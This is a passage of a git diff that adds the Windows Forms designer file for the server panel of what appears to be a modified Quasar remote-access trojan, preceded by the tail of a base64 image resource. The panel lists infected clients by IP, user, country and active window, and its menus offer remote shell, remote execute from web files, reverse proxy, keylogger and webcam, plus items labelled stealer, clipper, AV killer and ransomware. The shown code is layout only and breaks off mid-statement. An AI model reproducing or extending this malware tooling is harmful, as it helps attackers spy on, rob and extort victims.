//+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.Designer.cs new file mode 100755 index 0000000..28e8b3d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.Designer.cs @@ -0,0 +1,1112 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmMain + { + /// + /// Erforderliche Designervariable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Verwendete Ressourcen bereinigen. + /// + /// True, wenn verwaltete Ressourcen gel�scht werden sollen; andernfalls False. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Vom Windows Form-Designer generierter Code + + /// + /// Erforderliche Methode f�r die Designerunterst�tzung. + /// Der Inhalt der Methode darf nicht mit dem Code-Editor ge�ndert werden. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmMain)); + this.mainTabControl = new System.Windows.Forms.TabControl(); + this.tabClients = new System.Windows.Forms.TabPage(); + this.lstClients = new Quasar.Server.Controls.AeroListView(); + this.hIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hTag = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hUserPC = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hVersion = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hUserStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hCountry = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hOS = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hAccountType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hActiveWindow = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.systemInformationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.fileManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startupManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.taskManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteShellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.connectionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.reverseProxyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.registryEditorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.localFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.webFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); + this.actionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.shutdownToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.restartToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.standbyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.surveillanceToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.intelixStealerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.clipperToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.survivalToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.avKillerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.botKillerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ransomwareToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.systemOptionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.keyloggerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteDesktopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.userSupportToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.showMessageboxToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.webcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.visitWebsiteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.connectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.elevateClientPermissionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.updateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.reconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.disconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.selectAllToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.imgFlags = new System.Windows.Forms.ImageList(this.components); + this.searchPanel = new System.Windows.Forms.Panel(); + this.txtSearch = new System.Windows.Forms.TextBox(); + this.lblSearch = new System.Windows.Forms.Label(); + this.tabBuilder = new System.Windows.Forms.TabPage(); + this.tabSettings = new System.Windows.Forms.TabPage(); + this.tabAutoTasks = new System.Windows.Forms.TabPage(); + this.tabStatistics = new System.Windows.Forms.TabPage(); + this.tabAbout = new System.Windows.Forms.TabPage(); + this.notifyIcon = new System.Windows.Forms.NotifyIcon(this.components); + this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.listenToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); + this.trafficToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); + this.mainTabControl.SuspendLayout(); + this.tabClients.SuspendLayout(); + this.contextMenuStrip.SuspendLayout(); + this.searchPanel.SuspendLayout(); + this.tableLayoutPanel.SuspendLayout(); + this.statusStrip.SuspendLayout(); + this.SuspendLayout(); + // + // mainTabControl + // + this.mainTabControl.Controls.Add(this.tabClients); + this.mainTabControl.Controls.Add(this.tabBuilder); + this.mainTabControl.Controls.Add(this.tabSettings); + this.mainTabControl.Controls.Add(this.tabAutoTasks); + this.mainTabControl.Controls.Add(this.tabStatistics); + this.mainTabControl.Controls.Add(this.tabAbout); + this.mainTabControl.Dock = System.Windows.Forms.DockStyle.Fill; + this.mainTabControl.Location = new System.Drawing.Point(4, 4); + this.mainTabControl.Margin = new System.Windows.Forms.Padding(4); + this.mainTabControl.Name = "mainTabControl"; + this.mainTabControl.SelectedIndex = 0; + this.mainTabControl.Size = new System.Drawing.Size(1270, 547); + this.mainTabControl.TabIndex = 0; + // + // tabClients + // + this.tabClients.Controls.Add(this.lstClients); + this.tabClients.Controls.Add(this.searchPanel); + this.tabClients.Location = new System.Drawing.Point(4, 28); + this.tabClients.Margin = new System.Windows.Forms.Padding(4); + this.tabClients.Name = "tabClients"; + this.tabClients.Padding = new System.Windows.Forms.Padding(4); + this.tabClients.Size = new System.Drawing.Size(1262, 515); + this.tabClients.TabIndex = 0; + this.tabClients.Text = "Clients"; + this.tabClients.UseVisualStyleBackColor = true; + // + // lstClients + // + this.lstClients.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hIP, + this.hTag, + this.hUserPC, + this.hVersion, + this.hStatus, + this.hUserStatus, + this.hCountry, + this.hOS, + this.hAccountType, + this.hActiveWindow}); + this.lstClients.ContextMenuStrip = this.contextMenuStrip; + this.lstClients.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstClients.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lstClients.ForeColor = System.Drawing.Color.White; + this.lstClients.FullRowSelect = true; + this.lstClients.HideSelection = false; + this.lstClients.Location = new System.Drawing.Point(4, 39); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstClients.LvwColumnSorter = listViewColumnSorter1; + this.lstClients.Margin = new System.Windows.Forms.Padding(4); + this.lstClients.Name = "lstClients"; + this.lstClients.ShowItemToolTips = true; + this.lstClients.Size = new System.Drawing.Size(1254, 472); + this.lstClients.SmallImageList = this.imgFlags; + this.lstClients.TabIndex = 1; + this.lstClients.UseCompatibleStateImageBehavior = false; + this.lstClients.View = System.Windows.Forms.View.Details; + this.lstClients.SelectedIndexChanged += new System.EventHandler(this.lstClients_SelectedIndexChanged); + // + // hIP + // + this.hIP.Text = "IP Address"; + this.hIP.Width = 112; + // + // hTag + // + this.hTag.Text = "Tag"; + // + // hUserPC + // + this.hUserPC.Text = "User@PC"; + this.hUserPC.Width = 175; + // + // hVersion + // + this.hVersion.Text = "Version"; + this.hVersion.Width = 66; + // + // hStatus + // + this.hStatus.Text = "Status"; + this.hStatus.Width = 78; + // + // hUserStatus + // + this.hUserStatus.Text = "User Status"; + this.hUserStatus.Width = 72; + // + // hCountry + // + this.hCountry.Text = "Country"; + this.hCountry.Width = 117; + // + // hOS + // + this.hOS.Text = "Operating System"; + this.hOS.Width = 222; + // + // hAccountType + // + this.hAccountType.Text = "Account Type"; + this.hAccountType.Width = 100; + // + // hActiveWindow + // + this.hActiveWindow.Text = "Active Window"; + this.hActiveWindow.Width = 200; + // + // contextMenuStrip + // + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.systemToolStripMenuItem, + this.surveillanceToolStripMenuItem, + this.userSupportToolStripMenuItem, + this.connectionToolStripMenuItem, + this.lineToolStripMenuItem, + this.selectAllToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenu"; + this.contextMenuStrip.Size = new System.Drawing.Size(209, 130); + // + // systemToolStripMenuItem + // + this.systemToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.systemInformationToolStripMenuItem, + this.fileManagerToolStripMenuItem, + this.startupManagerToolStripMenuItem, + this.taskManagerToolStripMenuItem, + this.remoteShellToolStripMenuItem, + this.connectionsToolStripMenuItem, + this.reverseProxyToolStripMenuItem, + this.registryEditorToolStripMenuItem, + this.remoteExecuteToolStripMenuItem, + this.ctxtLine, + this.actionsToolStripMenuItem}); + this.systemToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.systemToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cog; + this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; + this.systemToolStripMenuItem.Size = new System.Drawing.Size(208, 24); + this.systemToolStripMenuItem.Text = "Administration"; + // + // systemInformationToolStripMenuItem + // + this.systemInformationToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.systemInformationToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemInformationToolStripMenuItem.Image"))); + this.systemInformationToolStripMenuItem.Name = "systemInformationToolStripMenuItem"; + this.systemInformationToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.systemInformationToolStripMenuItem.Text = "System Information"; + this.systemInformationToolStripMenuItem.Click += new System.EventHandler(this.systemInformationToolStripMenuItem_Click); + // + // fileManagerToolStripMenuItem + // + this.fileManagerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.fileManagerToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("fileManagerToolStripMenuItem.Image"))); + this.fileManagerToolStripMenuItem.Name = "fileManagerToolStripMenuItem"; + this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.fileManagerToolStripMenuItem.Text = "File Manager"; + this.fileManagerToolStripMenuItem.Click += new System.EventHandler(this.fileManagerToolStripMenuItem_Click); + // + // startupManagerToolStripMenuItem + // + this.startupManagerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.startupManagerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_edit; + this.startupManagerToolStripMenuItem.Name = "startupManagerToolStripMenuItem"; + this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.startupManagerToolStripMenuItem.Text = "Startup Manager"; + this.startupManagerToolStripMenuItem.Click += new System.EventHandler(this.startupManagerToolStripMenuItem_Click); + // + // taskManagerToolStripMenuItem + // + this.taskManagerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.taskManagerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_cascade; + this.taskManagerToolStripMenuItem.Name = "taskManagerToolStripMenuItem"; + this.taskManagerToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.taskManagerToolStripMenuItem.Text = "Task Manager"; + this.taskManagerToolStripMenuItem.Click += new System.EventHandler(this.taskManagerToolStripMenuItem_Click); + // + // remoteShellToolStripMenuItem + // + this.remoteShellToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.remoteShellToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteShellToolStripMenuItem.Image"))); + this.remoteShellToolStripMenuItem.Name = "remoteShellToolStripMenuItem"; + this.remoteShellToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.remoteShellToolStripMenuItem.Text = "Remote Shell"; + this.remoteShellToolStripMenuItem.Click += new System.EventHandler(this.remoteShellToolStripMenuItem_Click); + // + // connectionsToolStripMenuItem + // + this.connectionsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.connectionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.transmit_blue; + this.connectionsToolStripMenuItem.Name = "connectionsToolStripMenuItem"; + this.connectionsToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.connectionsToolStripMenuItem.Text = "TCP Connections"; + this.connectionsToolStripMenuItem.Click += new System.EventHandler(this.connectionsToolStripMenuItem_Click); + // + // reverseProxyToolStripMenuItem + // + this.reverseProxyToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.reverseProxyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.server_link; + this.reverseProxyToolStripMenuItem.Name = "reverseProxyToolStripMenuItem"; + this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.reverseProxyToolStripMenuItem.Text = "Reverse Proxy"; + this.reverseProxyToolStripMenuItem.Click += new System.EventHandler(this.reverseProxyToolStripMenuItem_Click); + // + // registryEditorToolStripMenuItem + // + this.registryEditorToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.registryEditorToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.registry; + this.registryEditorToolStripMenuItem.Name = "registryEditorToolStripMenuItem"; + this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.registryEditorToolStripMenuItem.Text = "Registry Editor"; + this.registryEditorToolStripMenuItem.Click += new System.EventHandler(this.registryEditorToolStripMenuItem_Click); + // + // remoteExecuteToolStripMenuItem + // + this.remoteExecuteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.localFileToolStripMenuItem, + this.webFileToolStripMenuItem}); + this.remoteExecuteToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.remoteExecuteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.lightning; + this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem"; + this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.remoteExecuteToolStripMenuItem.Text = "Remote Execute"; + // + // localFileToolStripMenuItem + // + this.localFileToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.localFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.drive_go; + this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem"; + this.localFileToolStripMenuItem.Size = new System.Drawing.Size(163, 26); + this.localFileToolStripMenuItem.Text = "Local File..."; + this.localFileToolStripMenuItem.Click += new System.EventHandler(this.localFileToolStripMenuItem_Click); + // + // webFileToolStripMenuItem + // + this.webFileToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.webFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.world_go; + this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem"; + this.webFileToolStripMenuItem.Size = new System.Drawing.Size(163, 26); + this.webFileToolStripMenuItem.Text = "Web File..."; + this.webFileToolStripMenuItem.Click += new System.EventHandler(this.webFileToolStripMenuItem_Click); + // + // ctxtLine + // + this.ctxtLine.Name = "ctxtLine"; + this.ctxtLine.Size = new System.Drawing.Size(221, 6); + // + // actionsToolStripMenuItem + // + this.actionsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + 